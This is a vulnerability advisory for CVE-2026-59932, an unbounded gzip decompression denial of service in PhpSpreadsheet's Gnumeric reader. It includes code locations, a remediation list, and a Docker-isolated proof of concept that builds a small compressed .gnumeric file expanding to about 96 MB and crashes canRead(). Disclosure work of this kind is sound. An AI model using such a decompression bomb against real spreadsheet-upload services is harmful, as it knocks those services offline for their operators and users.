CVE-2026-59932

PhpSpreadsheet's Gnumeric reader reads attacker-supplied .gnumeric files into memory and, when the file starts with gzip magic bytes, calls gzdecode() on the full compressed contents without enforcing a decompressed-size limit. A very small compressed .gnumeric file can expand to data larger than the PHP memory limit and crash the process during Gnumeric::canRead() before the file is rejected or fully parsed.

This is reachable through normal file-type detection and Gnumeric loading paths, so applications that accept attacker-controlled spreadsheet uploads can suffer denial of service.

Vulnerability details

Gnumeric::canRead() invokes gzfileGetContents() before deciding whether the file is a valid Gnumeric spreadsheet:

• src/PhpSpreadsheet/Reader/Gnumeric.php:80-90 calls $this->gzfileGetContents($filename) from canRead().
• src/PhpSpreadsheet/Reader/Gnumeric.php:105-115 calls canRead() and then reads the expanded contents again for worksheet-name listing.
• src/PhpSpreadsheet/Reader/Gnumeric.php:253-265 calls canRead() and then reads the expanded contents again for full loading.

The vulnerable expansion is in gzfileGetContents():

• src/PhpSpreadsheet/Reader/Gnumeric.php:187-190 reads the entire input file into $contents with file_get_contents().
• src/PhpSpreadsheet/Reader/Gnumeric.php:192-197 detects gzip magic bytes and calls gzdecode($contents) without a decompressed-size cap.
• src/PhpSpreadsheet/Reader/Gnumeric.php:204-205 scans the expanded data only after decompression has already completed.

Because decompression occurs before XML scanning or structural validation, a tiny gzip payload can force large memory allocation even if the resulting XML is meaningless or invalid.

Safe local proof of concept

This proof of concept uses only Docker with --network none; it creates the compressed payload inside the container and does not contact external infrastructure.

docker run --rm --network none -i \
  -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \
  -w /app ghcr.io/typo3/core-testing-php82:1.15 sh <<'SH'
set -eu
php -r '
$prefix = "<?xml version=\"1.0\"?><gnm:Workbook xmlns:gnm=\"http://www.gnumeric.org/v10.dtd\">";
$suffix = "</gnm:Workbook>";
$payload = $prefix . str_repeat("A", 96 * 1024 * 1024) . $suffix;
$gz = gzencode($payload, 9);
file_put_contents("/tmp/bomb.gnumeric", $gz);
printf("compressed_size=%d expanded_size=%d\n", filesize("/tmp/bomb.gnumeric"), strlen($payload));
'
php -d memory_limit=64M -d display_errors=1 -r '
require "/app/vendor/autoload.php";
$r = new PhpOffice\PhpSpreadsheet\Reader\Gnumeric();
var_dump($r->canRead("/tmp/bomb.gnumeric"));
' 2>&1 || true
SH

Observed output:

compressed_size=97811 expanded_size=100663390
PHP Fatal error:  Allowed memory size of 67108864 bytes exhausted (tried to allocate 50291378 bytes) in /app/src/PhpSpreadsheet/Reader/Gnumeric.php on line 195
PHP Stack trace:
PHP   1. {main}() Command line code:0
PHP   2. PhpOffice\PhpSpreadsheet\Reader\Gnumeric->canRead($filename = '/tmp/bomb.gnumeric') Command line code:4
PHP   3. PhpOffice\PhpSpreadsheet\Reader\Gnumeric->gzfileGetContents($filename = '/tmp/bomb.gnumeric') /app/src/PhpSpreadsheet/Reader/Gnumeric.php:84
PHP   4. gzdecode(...) /app/src/PhpSpreadsheet/Reader/Gnumeric.php:195

Suggested remediation

• Do not decompress gzip data with unbounded gzdecode() for untrusted .gnumeric files.
• Stream decompression with a strict maximum output-size limit before allocating the full expanded XML.
• Enforce a configurable maximum compressed size and maximum decompressed size for Gnumeric files.
• Ensure canRead(), listWorksheetNames(), listWorksheetInfo(), and load() share bounded decompression logic and avoid decompressing the same file repeatedly.
• Fail closed with a recoverable Reader\Exception when limits are exceeded, rather than allowing a PHP fatal memory error.